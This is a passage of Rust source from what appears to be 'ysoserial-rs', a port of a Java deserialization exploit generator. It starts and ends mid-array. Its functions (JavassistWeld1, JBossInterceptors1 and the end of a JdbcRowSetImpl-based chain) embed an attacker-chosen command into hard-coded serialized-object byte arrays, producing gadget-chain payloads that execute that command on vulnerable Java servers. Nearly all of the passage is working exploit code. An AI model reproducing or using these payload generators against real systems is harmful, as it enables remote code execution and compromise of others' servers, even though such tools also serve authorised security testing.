0, 1, 115, 114, 0, 56, 111, 114, 103, 46, 104, 105, 98, 101, 114, 179 | 110, 97, 116, 101, 46, 112, 114, 111, 112, 101, 114, 116, 121, 46, 66, 97, 115, 105, 99, 180 | 80, 114, 111, 112, 101, 114, 116, 121, 65, 99, 99, 101, 115, 115, 111, 114, 36, 66, 97, 181 | 115, 105, 99, 71, 101, 116, 116, 101, 114, 231, 252, 26, 59, 152, 221, 113, 188, 2, 0, 2, 182 | 76, 0, 5, 99, 108, 97, 122, 122, 113, 0, 126, 0, 19, 76, 0, 12, 112, 114, 111, 112, 101, 183 | 114, 116, 121, 78, 97, 109, 101, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 184 | 47, 83, 116, 114, 105, 110, 103, 59, 120, 112, 118, 114, 0, 29, 99, 111, 109, 46, 115, 117, 185 | 110, 46, 114, 111, 119, 115, 101, 116, 46, 74, 100, 98, 99, 82, 111, 119, 83, 101, 116, 73, 186 | 109, 112, 108, 206, 38, 216, 31, 73, 115, 194, 5, 2, 0, 7, 76, 0, 4, 99, 111, 110, 110, 187 | 116, 0, 21, 76, 106, 97, 118, 97, 47, 115, 113, 108, 47, 67, 111, 110, 110, 101, 99, 116, 188 | 105, 111, 110, 59, 76, 0, 13, 105, 77, 97, 116, 99, 104, 67, 111, 108, 117, 109, 110, 115, 189 | 116, 0, 18, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 86, 101, 99, 116, 111, 114, 190 | 59, 76, 0, 2, 112, 115, 116, 0, 28, 76, 106, 97, 118, 97, 47, 115, 113, 108, 47, 80, 114, 191 | 101, 112, 97, 114, 101, 100, 83, 116, 97, 116, 101, 109, 101, 110, 116, 59, 76, 0, 5, 114, 192 | 101, 115, 77, 68, 116, 0, 28, 76, 106, 97, 118, 97, 47, 115, 113, 108, 47, 82, 101, 115, 193 | 117, 108, 116, 83, 101, 116, 77, 101, 116, 97, 68, 97, 116, 97, 59, 76, 0, 6, 114, 111, 194 | 119, 115, 77, 68, 116, 0, 37, 76, 106, 97, 118, 97, 120, 47, 115, 113, 108, 47, 114, 111, 195 | 119, 115, 101, 116, 47, 82, 111, 119, 83, 101, 116, 77, 101, 116, 97, 68, 97, 116, 97, 73, 196 | 109, 112, 108, 59, 76, 0, 2, 114, 115, 116, 0, 20, 76, 106, 97, 118, 97, 47, 115, 113, 108, 197 | 47, 82, 101, 115, 117, 108, 116, 83, 101, 116, 59, 76, 0, 15, 115, 116, 114, 77, 97, 116, 198 | 99, 104, 67, 111, 108, 117, 109, 110, 115, 113, 0, 126, 0, 35, 120, 114, 0, 27, 106, 97, 199 | 118, 97, 120, 46, 115, 113, 108, 46, 114, 111, 119, 115, 101, 116, 46, 66, 97, 115, 101, 200 | 82, 111, 119, 83, 101, 116, 67, 209, 29, 165, 77, 194, 177, 224, 2, 0, 21, 73, 0, 11, 99, 201 | 111, 110, 99, 117, 114, 114, 101, 110, 99, 121, 90, 0, 16, 101, 115, 99, 97, 112, 101, 80, 202 | 114, 111, 99, 101, 115, 115, 105, 110, 103, 73, 0, 8, 102, 101, 116, 99, 104, 68, 105, 114, 203 | 73, 0, 9, 102, 101, 116, 99, 104, 83, 105, 122, 101, 73, 0, 9, 105, 115, 111, 108, 97, 116, 204 | 105, 111, 110, 73, 0, 12, 109, 97, 120, 70, 105, 101, 108, 100, 83, 105, 122, 101, 73, 0, 205 | 7, 109, 97, 120, 82, 111, 119, 115, 73, 0, 12, 113, 117, 101, 114, 121, 84, 105, 109, 101, 206 | 111, 117, 116, 90, 0, 8, 114, 101, 97, 100, 79, 110, 108, 121, 73, 0, 10, 114, 111, 119, 207 | 83, 101, 116, 84, 121, 112, 101, 90, 0, 11, 115, 104, 111, 119, 68, 101, 108, 101, 116, 208 | 101, 100, 76, 0, 3, 85, 82, 76, 113, 0, 126, 0, 31, 76, 0, 11, 97, 115, 99, 105, 105, 83, 209 | 116, 114, 101, 97, 109, 116, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 210 | 117, 116, 83, 116, 114, 101, 97, 109, 59, 76, 0, 12, 98, 105, 110, 97, 114, 121, 83, 116, 211 | 114, 101, 97, 109, 113, 0, 126, 0, 41, 76, 0, 10, 99, 104, 97, 114, 83, 116, 114, 101, 97, 212 | 109, 116, 0, 16, 76, 106, 97, 118, 97, 47, 105, 111, 47, 82, 101, 97, 100, 101, 114, 59, 213 | 76, 0, 7, 99, 111, 109, 109, 97, 110, 100, 113, 0, 126, 0, 31, 76, 0, 10, 100, 97, 116, 97, 214 | 83, 111, 117, 114, 99, 101, 113, 0, 126, 0, 31, 76, 0, 9, 108, 105, 115, 116, 101, 110, 215 | 101, 114, 115, 113, 0, 126, 0, 35, 76, 0, 3, 109, 97, 112, 116, 0, 15, 76, 106, 97, 118, 216 | 97, 47, 117, 116, 105, 108, 47, 77, 97, 112, 59, 76, 0, 6, 112, 97, 114, 97, 109, 115, 116, 217 | 0, 21, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 72, 97, 115, 104, 116, 97, 98, 218 | 108, 101, 59, 76, 0, 13, 117, 110, 105, 99, 111, 100, 101, 83, 116, 114, 101, 97, 109, 113, 219 | 0, 126, 0, 41, 120, 112, 116, 0, 16, 100, 97, 116, 97, 98, 97, 115, 101, 77, 101, 116, 97, 220 | 68, 97, 116, 97, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 117, 114, 0, 26, 91, 76, 221 | 111, 114, 103, 46, 104, 105, 98, 101, 114, 110, 97, 116, 101, 46, 116, 121, 112, 101, 46, 222 | 84, 121, 112, 101, 59, 126, 175, 171, 161, 228, 149, 97, 154, 2, 0, 0, 120, 112, 0, 0, 0, 223 | 1, 113, 0, 126, 0, 17, 112, 115, 113, 0, 126, 0, 33, 0, 0, 3, 240, 1, 0, 0, 3, 232, 0, 0, 224 | 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 3, 236, 0, 112, 112, 112, 225 | 112, 112, 226 | ] 227 | .to_vec(); 228 | result_bytes.extend(generate_string(cmd)); 229 | result_bytes.extend([ 230 | 115, 114, 0, 16, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 86, 101, 99, 116, 111, 114, 231 | 217, 151, 125, 91, 128, 59, 175, 1, 3, 0, 3, 73, 0, 17, 99, 97, 112, 97, 99, 105, 116, 121, 232 | 73, 110, 99, 114, 101, 109, 101, 110, 116, 73, 0, 12, 101, 108, 101, 109, 101, 110, 116, 233 | 67, 111, 117, 110, 116, 91, 0, 11, 101, 108, 101, 109, 101, 110, 116, 68, 97, 116, 97, 116, 234 | 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 235 | 120, 112, 0, 0, 0, 0, 0, 0, 0, 0, 117, 114, 0, 19, 91, 76, 106, 97, 118, 97, 46, 108, 97, 236 | 110, 103, 46, 79, 98, 106, 101, 99, 116, 59, 144, 206, 88, 159, 16, 115, 41, 108, 2, 0, 0, 237 | 120, 112, 0, 0, 0, 10, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 120, 112, 115, 238 | 114, 0, 19, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 104, 116, 97, 98, 239 | 108, 101, 19, 187, 15, 37, 33, 74, 228, 184, 3, 0, 2, 70, 0, 10, 108, 111, 97, 100, 70, 97, 240 | 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 101, 115, 104, 111, 108, 100, 120, 112, 63, 64, 241 | 0, 0, 0, 0, 0, 8, 119, 8, 0, 0, 0, 11, 0, 0, 0, 0, 120, 112, 112, 115, 113, 0, 126, 0, 51, 242 | 0, 0, 0, 0, 0, 0, 0, 10, 117, 113, 0, 126, 0, 54, 0, 0, 0, 10, 115, 114, 0, 17, 106, 97, 243 | 118, 97, 46, 108, 97, 110, 103, 46, 73, 110, 116, 101, 103, 101, 114, 18, 226, 160, 164, 244 | 247, 129, 135, 56, 2, 0, 1, 73, 0, 5, 118, 97, 108, 117, 101, 120, 114, 0, 16, 106, 97, 245 | 118, 97, 46, 108, 97, 110, 103, 46, 78, 117, 109, 98, 101, 114, 134, 172, 149, 29, 11, 148, 246 | 224, 139, 2, 0, 0, 120, 112, 255, 255, 255, 255, 113, 0, 126, 0, 62, 113, 0, 126, 0, 62, 247 | 113, 0, 126, 0, 62, 113, 0, 126, 0, 62, 113, 0, 126, 0, 62, 113, 0, 126, 0, 62, 113, 0, 248 | 126, 0, 62, 113, 0, 126, 0, 62, 113, 0, 126, 0, 62, 120, 112, 112, 112, 112, 115, 113, 0, 249 | 126, 0, 51, 0, 0, 0, 0, 0, 0, 0, 10, 117, 113, 0, 126, 0, 54, 0, 0, 0, 10, 112, 112, 112, 250 | 112, 112, 112, 112, 112, 112, 112, 120, 113, 0, 126, 0, 5, 115, 113, 0, 126, 0, 2, 113, 0, 251 | 126, 0, 17, 113, 0, 126, 0, 49, 113, 0, 126, 0, 65, 120, 252 | ]); 253 | result_bytes 254 | } 255 | -------------------------------------------------------------------------------- /ysoserial-rs/src/javassist_weld1.rs: -------------------------------------------------------------------------------- 1 | use crate::template_impl::get_f_template_impl; 2 | 3 | pub fn get_javassist_weld1(cmd: &str) -> Vec { 4 | let mut result_bytes = [ 5 | 172, 237, 0, 5, 115, 114, 0, 57, 111, 114, 103, 46, 106, 98, 111, 115, 115, 46, 119, 101, 6 | 108, 100, 46, 105, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 46, 112, 114, 111, 120, 7 | 121, 46, 73, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 77, 101, 116, 104, 111, 100, 8 | 72, 97, 110, 100, 108, 101, 114, 204, 240, 238, 81, 26, 222, 72, 177, 3, 0, 5, 76, 0, 17, 9 | 105, 110, 116, 101, 114, 99, 101, 112, 116, 105, 111, 110, 77, 111, 100, 101, 108, 116, 0, 10 | 56, 76, 111, 114, 103, 47, 106, 98, 111, 115, 115, 47, 119, 101, 108, 100, 47, 105, 110, 11 | 116, 101, 114, 99, 101, 112, 116, 111, 114, 47, 115, 112, 105, 47, 109, 111, 100, 101, 108, 12 | 47, 73, 110, 116, 101, 114, 99, 101, 112, 116, 105, 111, 110, 77, 111, 100, 101, 108, 59, 13 | 76, 0, 27, 105, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 72, 97, 110, 100, 108, 14 | 101, 114, 73, 110, 115, 116, 97, 110, 99, 101, 115, 116, 0, 15, 76, 106, 97, 118, 97, 47, 15 | 117, 116, 105, 108, 47, 77, 97, 112, 59, 76, 0, 24, 105, 110, 118, 111, 99, 97, 116, 105, 16 | 111, 110, 67, 111, 110, 116, 101, 120, 116, 70, 97, 99, 116, 111, 114, 121, 116, 0, 65, 76, 17 | 111, 114, 103, 47, 106, 98, 111, 115, 115, 47, 119, 101, 108, 100, 47, 105, 110, 116, 101, 18 | 114, 99, 101, 112, 116, 111, 114, 47, 115, 112, 105, 47, 99, 111, 110, 116, 101, 120, 116, 19 | 47, 73, 110, 118, 111, 99, 97, 116, 105, 111, 110, 67, 111, 110, 116, 101, 120, 116, 70, 20 | 97, 99, 116, 111, 114, 121, 59, 76, 0, 30, 116, 97, 114, 103, 101, 116, 67, 108, 97, 115, 21 | 115, 73, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 77, 101, 116, 97, 100, 97, 116, 22 | 97, 116, 0, 61, 76, 111, 114, 103, 47, 106, 98, 111, 115, 115, 47, 119, 101, 108, 100, 47, 23 | 105, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 47, 115, 112, 105, 47, 109, 101, 116, 24 | 97, 100, 97, 116, 97, 47, 73, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 77, 101, 25 | 116, 97, 100, 97, 116, 97, 59, 76, 0, 14, 116, 97, 114, 103, 101, 116, 73, 110, 115, 116, 26 | 97, 110, 99, 101, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 27 | 101, 99, 116, 59, 120, 112, 115, 114, 0, 56, 111, 114, 103, 46, 106, 98, 111, 115, 115, 46, 28 | 119, 101, 108, 100, 46, 105, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 46, 98, 117, 29 | 105, 108, 100, 101, 114, 46, 73, 110, 116, 101, 114, 99, 101, 112, 116, 105, 111, 110, 77, 30 | 111, 100, 101, 108, 73, 109, 112, 108, 168, 125, 183, 14, 148, 5, 212, 178, 2, 0, 5, 76, 0, 31 | 15, 97, 108, 108, 73, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 115, 116, 0, 15, 76, 32 | 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 101, 116, 59, 76, 0, 18, 103, 108, 111, 33 | 98, 97, 108, 73, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 115, 113, 0, 126, 0, 2, 34 | 76, 0, 17, 105, 110, 116, 101, 114, 99, 101, 112, 116, 101, 100, 69, 110, 116, 105, 116, 35 | 121, 113, 0, 126, 0, 5, 76, 0, 23, 109, 101, 116, 104, 111, 100, 66, 111, 117, 110, 100, 36 | 73, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 115, 113, 0, 126, 0, 2, 76, 0, 22, 37 | 109, 101, 116, 104, 111, 100, 115, 73, 103, 110, 111, 114, 105, 110, 103, 71, 108, 111, 98, 38 | 97, 108, 115, 113, 0, 126, 0, 8, 120, 112, 115, 114, 0, 23, 106, 97, 118, 97, 46, 117, 116, 39 | 105, 108, 46, 76, 105, 110, 107, 101, 100, 72, 97, 115, 104, 83, 101, 116, 216, 108, 215, 40 | 90, 149, 221, 42, 30, 2, 0, 0, 120, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 41 | 46, 72, 97, 115, 104, 83, 101, 116, 186, 68, 133, 149, 150, 184, 183, 52, 3, 0, 0, 120, 42 | 112, 119, 12, 0, 0, 0, 16, 63, 64, 0, 0, 0, 0, 0, 1, 115, 114, 0, 59, 111, 114, 103, 46, 43 | 106, 98, 111, 115, 115, 46, 119, 101, 108, 100, 46, 105, 110, 116, 101, 114, 99, 101, 112, 44 | 116, 111, 114, 46, 114, 101, 97, 100, 101, 114, 46, 83, 105, 109, 112, 108, 101, 73, 110, 45 | 116, 101, 114, 99, 101, 112, 116, 111, 114, 77, 101, 116, 97, 100, 97, 116, 97, 0, 4, 110, 46 | 38, 50, 205, 240, 139, 2, 0, 3, 90, 0, 11, 116, 97, 114, 103, 101, 116, 67, 108, 97, 115, 47 | 115, 76, 0, 20, 105, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 77, 101, 116, 104, 48 | 111, 100, 77, 97, 112, 113, 0, 126, 0, 2, 76, 0, 20, 105, 110, 116, 101, 114, 99, 101, 112, 49 | 116, 111, 114, 82, 101, 102, 101, 114, 101, 110, 99, 101, 116, 0, 62, 76, 111, 114, 103, 50 | 47, 106, 98, 111, 115, 115, 47, 119, 101, 108, 100, 47, 105, 110, 116, 101, 114, 99, 101, 51 | 112, 116, 111, 114, 47, 115, 112, 105, 47, 109, 101, 116, 97, 100, 97, 116, 97, 47, 73, 52 | 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 82, 101, 102, 101, 114, 101, 110, 99, 101, 53 | 59, 120, 112, 1, 115, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 54 | 115, 104, 77, 97, 112, 5, 7, 218, 193, 195, 22, 96, 209, 3, 0, 2, 70, 0, 10, 108, 111, 97, 55 | 100, 70, 97, 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 101, 115, 104, 111, 108, 100, 120, 56 | 112, 63, 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 1, 126, 114, 0, 53, 111, 114, 57 | 103, 46, 106, 98, 111, 115, 115, 46, 119, 101, 108, 100, 46, 105, 110, 116, 101, 114, 99, 58 | 101, 112, 116, 111, 114, 46, 115, 112, 105, 46, 109, 111, 100, 101, 108, 46, 73, 110, 116, 59 | 101, 114, 99, 101, 112, 116, 105, 111, 110, 84, 121, 112, 101, 0, 0, 0, 0, 0, 0, 0, 0, 18, 60 | 0, 0, 120, 114, 0, 14, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 69, 110, 117, 109, 0, 61 | 0, 0, 0, 0, 0, 0, 0, 18, 0, 0, 120, 112, 116, 0, 13, 80, 79, 83, 84, 95, 65, 67, 84, 73, 62 | 86, 65, 84, 69, 115, 114, 0, 19, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 65, 114, 63 | 114, 97, 121, 76, 105, 115, 116, 120, 129, 210, 29, 153, 199, 97, 157, 3, 0, 1, 73, 0, 4, 64 | 115, 105, 122, 101, 120, 112, 0, 0, 0, 1, 119, 4, 0, 0, 0, 1, 115, 114, 0, 95, 111, 114, 65 | 103, 46, 106, 98, 111, 115, 115, 46, 119, 101, 108, 100, 46, 105, 110, 116, 101, 114, 99, 66 | 101, 112, 116, 111, 114, 46, 114, 101, 97, 100, 101, 114, 46, 68, 101, 102, 97, 117, 108, 67 | 116, 77, 101, 116, 104, 111, 100, 77, 101, 116, 97, 100, 97, 116, 97, 36, 68, 101, 102, 97, 68 | 117, 108, 116, 77, 101, 116, 104, 111, 100, 77, 101, 116, 97, 100, 97, 116, 97, 83, 101, 69 | 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 80, 114, 111, 120, 121, 68, 149, 49, 70 | 236, 145, 222, 255, 9, 2, 0, 2, 76, 0, 15, 109, 101, 116, 104, 111, 100, 82, 101, 102, 101, 71 | 114, 101, 110, 99, 101, 116, 0, 52, 76, 111, 114, 103, 47, 106, 98, 111, 115, 115, 47, 119, 72 | 101, 108, 100, 47, 105, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 47, 98, 117, 105, 73 | 108, 100, 101, 114, 47, 77, 101, 116, 104, 111, 100, 82, 101, 102, 101, 114, 101, 110, 99, 74 | 101, 59, 76, 0, 26, 115, 117, 112, 112, 111, 114, 116, 101, 100, 73, 110, 116, 101, 114, 75 | 99, 101, 112, 116, 105, 111, 110, 84, 121, 112, 101, 115, 113, 0, 126, 0, 8, 120, 112, 115, 76 | 114, 0, 50, 111, 114, 103, 46, 106, 98, 111, 115, 115, 46, 119, 101, 108, 100, 46, 105, 77 | 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 46, 98, 117, 105, 108, 100, 101, 114, 46, 78 | 77, 101, 116, 104, 111, 100, 82, 101, 102, 101, 114, 101, 110, 99, 101, 241, 234, 20, 53, 79 | 229, 177, 74, 175, 2, 0, 3, 76, 0, 14, 100, 101, 99, 108, 97, 114, 105, 110, 103, 67, 108, 80 | 97, 115, 115, 116, 0, 17, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 81 | 115, 115, 59, 76, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 116, 0, 18, 76, 82 | 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 91, 0, 14, 83 | 112, 97, 114, 97, 109, 101, 116, 101, 114, 84, 121, 112, 101, 115, 116, 0, 18, 91, 76, 106, 84 | 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 120, 112, 118, 114, 0, 85 | 58, 99, 111, 109, 46, 115, 117, 110, 46, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 86 | 120, 97, 108, 97, 110, 46, 105, 110, 116, 101, 114, 110, 97, 108, 46, 120, 115, 108, 116, 87 | 99, 46, 116, 114, 97, 120, 46, 84, 101, 109, 112, 108, 97, 116, 101, 115, 73, 109, 112, 88 | 108, 9, 87, 79, 193, 110, 172, 171, 51, 3, 0, 6, 73, 0, 13, 95, 105, 110, 100, 101, 110, 89 | 116, 78, 117, 109, 98, 101, 114, 73, 0, 14, 95, 116, 114, 97, 110, 115, 108, 101, 116, 73, 90 | 110, 100, 101, 120, 91, 0, 10, 95, 98, 121, 116, 101, 99, 111, 100, 101, 115, 116, 0, 3, 91 | 91, 91, 66, 91, 0, 6, 95, 99, 108, 97, 115, 115, 113, 0, 126, 0, 30, 76, 0, 5, 95, 110, 97, 92 | 109, 101, 113, 0, 126, 0, 29, 76, 0, 17, 95, 111, 117, 116, 112, 117, 116, 80, 114, 111, 93 | 112, 101, 114, 116, 105, 101, 115, 116, 0, 22, 76, 106, 97, 118, 97, 47, 117, 116, 105, 94 | 108, 47, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 59, 120, 112, 116, 0, 14, 110, 95 | 101, 119, 84, 114, 97, 110, 115, 102, 111, 114, 109, 101, 114, 117, 114, 0, 18, 91, 76, 96 | 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 67, 108, 97, 115, 115, 59, 171, 22, 215, 174, 97 | 203, 205, 90, 153, 2, 0, 0, 120, 112, 0, 0, 0, 0, 115, 113, 0, 126, 0, 11, 119, 12, 0, 0, 98 | 0, 16, 63, 64, 0, 0, 0, 0, 0, 1, 113, 0, 126, 0, 20, 120, 120, 120, 115, 114, 0, 67, 111, 99 | 114, 103, 46, 106, 98, 111, 115, 115, 46, 119, 101, 108, 100, 46, 105, 110, 116, 101, 114, 100 | 99, 101, 112, 116, 111, 114, 46, 114, 101, 97, 100, 101, 114, 46, 67, 108, 97, 115, 115, 101 | 77, 101, 116, 97, 100, 97, 116, 97, 73, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 102 | 82, 101, 102, 101, 114, 101, 110, 99, 101, 247, 103, 55, 227, 90, 45, 3, 49, 2, 0, 1, 76, 103 | 0, 13, 99, 108, 97, 115, 115, 77, 101, 116, 97, 100, 97, 116, 97, 116, 0, 55, 76, 111, 114, 104 | 103, 47, 106, 98, 111, 115, 115, 47, 119, 101, 108, 100, 47, 105, 110, 116, 101, 114, 99, 105 | 101, 112, 116, 111, 114, 47, 115, 112, 105, 47, 109, 101, 116, 97, 100, 97, 116, 97, 47, 106 | 67, 108, 97, 115, 115, 77, 101, 116, 97, 100, 97, 116, 97, 59, 120, 112, 115, 114, 0, 57, 107 | 111, 114, 103, 46, 106, 98, 111, 115, 115, 46, 119, 101, 108, 100, 46, 105, 110, 116, 101, 108 | 114, 99, 101, 112, 116, 111, 114, 46, 114, 101, 97, 100, 101, 114, 46, 82, 101, 102, 108, 109 | 101, 99, 116, 105, 118, 101, 67, 108, 97, 115, 115, 77, 101, 116, 97, 100, 97, 116, 97, 110 | 227, 3, 133, 63, 247, 108, 78, 190, 2, 0, 1, 76, 0, 5, 99, 108, 97, 122, 122, 113, 0, 126, 111 | 0, 28, 120, 112, 118, 113, 0, 126, 0, 16, 120, 115, 113, 0, 126, 0, 16, 63, 64, 0, 0, 0, 0, 112 | 0, 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 6, 113, 0, 126, 0, 20, 115, 113, 0, 126, 0, 22, 0, 0, 113 | 0, 1, 119, 4, 0, 0, 0, 1, 113, 0, 126, 0, 15, 120, 126, 113, 0, 126, 0, 18, 116, 0, 14, 65, 114 | 82, 79, 85, 78, 68, 95, 84, 73, 77, 69, 79, 85, 84, 115, 113, 0, 126, 0, 22, 0, 0, 0, 1, 115 | 119, 4, 0, 0, 0, 1, 113, 0, 126, 0, 15, 120, 126, 113, 0, 126, 0, 18, 116, 0, 13, 80, 82, 116 | 69, 95, 80, 65, 83, 83, 73, 86, 65, 84, 69, 115, 113, 0, 126, 0, 22, 0, 0, 0, 1, 119, 4, 0, 117 | 0, 0, 1, 113, 0, 126, 0, 15, 120, 126, 113, 0, 126, 0, 18, 116, 0, 13, 65, 82, 79, 85, 78, 118 | 68, 95, 73, 78, 86, 79, 75, 69, 115, 113, 0, 126, 0, 22, 0, 0, 0, 1, 119, 4, 0, 0, 0, 1, 119 | 113, 0, 126, 0, 15, 120, 126, 113, 0, 126, 0, 18, 116, 0, 11, 80, 82, 69, 95, 68, 69, 83, 120 | 84, 82, 79, 89, 115, 113, 0, 126, 0, 22, 0, 0, 0, 1, 119, 4, 0, 0, 0, 1, 113, 0, 126, 0, 121 | 15, 120, 126, 113, 0, 126, 0, 18, 116, 0, 14, 80, 79, 83, 84, 95, 67, 79, 78, 83, 84, 82, 122 | 85, 67, 84, 115, 113, 0, 126, 0, 22, 0, 0, 0, 1, 119, 4, 0, 0, 0, 1, 113, 0, 126, 0, 15, 123 | 120, 120, 113, 0, 126, 0, 45, 115, 113, 0, 126, 0, 16, 63, 64, 0, 0, 0, 0, 0, 0, 119, 8, 0, 124 | 0, 0, 16, 0, 0, 0, 0, 120, 115, 113, 0, 126, 0, 11, 119, 12, 0, 0, 0, 16, 63, 64, 0, 0, 0, 125 | 0, 0, 0, 120, 115, 113, 0, 126, 0, 16, 63, 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 126 | 0, 0, 1, 113, 0, 126, 0, 15, 115, 113, 0, 126, 0, 32, 0, 0, 0, 0, 255, 255, 255, 255, 117, 127 | 114, 0, 3, 91, 91, 66, 75, 253, 25, 21, 103, 103, 219, 55, 2, 0, 0, 120, 112, 0, 0, 0, 1, 128 | 117, 114, 0, 2, 91, 66, 172, 243, 23, 248, 6, 8, 84, 224, 2, 0, 0, 120, 112, 129 | ] 130 | .to_vec(); 131 | let template_impl = get_f_template_impl(cmd); 132 | let template_impl_len = template_impl.len() as u32; 133 | result_bytes.extend(template_impl_len.to_be_bytes()); 134 | result_bytes.extend(&template_impl); 135 | result_bytes.extend([ 136 | 112, 116, 0, 4, 68, 111, 103, 101, 112, 119, 1, 0, 120, 120, 115, 114, 0, 64, 111, 114, 137 | 103, 46, 106, 98, 111, 115, 115, 46, 119, 101, 108, 100, 46, 105, 110, 116, 101, 114, 99, 138 | 101, 112, 116, 111, 114, 46, 112, 114, 111, 120, 121, 46, 68, 101, 102, 97, 117, 108, 116, 139 | 73, 110, 118, 111, 99, 97, 116, 105, 111, 110, 67, 111, 110, 116, 101, 120, 116, 70, 97, 140 | 99, 116, 111, 114, 121, 199, 81, 15, 198, 140, 232, 59, 199, 2, 0, 0, 120, 112, 115, 113, 141 | 0, 126, 0, 13, 1, 115, 113, 0, 126, 0, 16, 63, 64, 0, 0, 0, 0, 0, 0, 119, 8, 0, 0, 0, 16, 142 | 0, 0, 0, 0, 120, 115, 113, 0, 126, 0, 40, 113, 0, 126, 0, 44, 115, 113, 0, 126, 0, 16, 63, 143 | 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 1, 116, 0, 9, 121, 115, 111, 115, 101, 144 | 114, 105, 97, 108, 113, 0, 126, 0, 78, 120, 120, 145 | ]); 146 | result_bytes 147 | } 148 | -------------------------------------------------------------------------------- /ysoserial-rs/src/jboss_interceptors1.rs: -------------------------------------------------------------------------------- 1 | use crate::template_impl::get_f_template_impl; 2 | 3 | pub fn get_jboss_interceptors1(cmd: &str) -> Vec { 4 | let mut result_bytes = [ 5 | 172, 237, 0, 5, 115, 114, 0, 52, 111, 114, 103, 46, 106, 98, 111, 115, 115, 46, 105, 110, 6 | 116, 101, 114, 99, 101, 112, 116, 111, 114, 46, 112, 114, 111, 120, 121, 46, 73, 110, 116, 7 | 101, 114, 99, 101, 112, 116, 111, 114, 77, 101, 116, 104, 111, 100, 72, 97, 110, 100, 108, 8 | 101, 114, 135, 58, 74, 247, 113, 194, 131, 202, 3, 0, 5, 76, 0, 17, 105, 110, 116, 101, 9 | 114, 99, 101, 112, 116, 105, 111, 110, 77, 111, 100, 101, 108, 116, 0, 51, 76, 111, 114, 10 | 103, 47, 106, 98, 111, 115, 115, 47, 105, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 11 | 47, 115, 112, 105, 47, 109, 111, 100, 101, 108, 47, 73, 110, 116, 101, 114, 99, 101, 112, 12 | 116, 105, 111, 110, 77, 111, 100, 101, 108, 59, 76, 0, 27, 105, 110, 116, 101, 114, 99, 13 | 101, 112, 116, 111, 114, 72, 97, 110, 100, 108, 101, 114, 73, 110, 115, 116, 97, 110, 99, 14 | 101, 115, 116, 0, 15, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 77, 97, 112, 59, 15 | 76, 0, 24, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 67, 111, 110, 116, 101, 120, 16 | 116, 70, 97, 99, 116, 111, 114, 121, 116, 0, 60, 76, 111, 114, 103, 47, 106, 98, 111, 115, 17 | 115, 47, 105, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 47, 115, 112, 105, 47, 99, 18 | 111, 110, 116, 101, 120, 116, 47, 73, 110, 118, 111, 99, 97, 116, 105, 111, 110, 67, 111, 19 | 110, 116, 101, 120, 116, 70, 97, 99, 116, 111, 114, 121, 59, 76, 0, 30, 116, 97, 114, 103, 20 | 101, 116, 67, 108, 97, 115, 115, 73, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 77, 21 | 101, 116, 97, 100, 97, 116, 97, 116, 0, 56, 76, 111, 114, 103, 47, 106, 98, 111, 115, 115, 22 | 47, 105, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 47, 115, 112, 105, 47, 109, 101, 23 | 116, 97, 100, 97, 116, 97, 47, 73, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 77, 24 | 101, 116, 97, 100, 97, 116, 97, 59, 76, 0, 14, 116, 97, 114, 103, 101, 116, 73, 110, 115, 25 | 116, 97, 110, 99, 101, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 26 | 106, 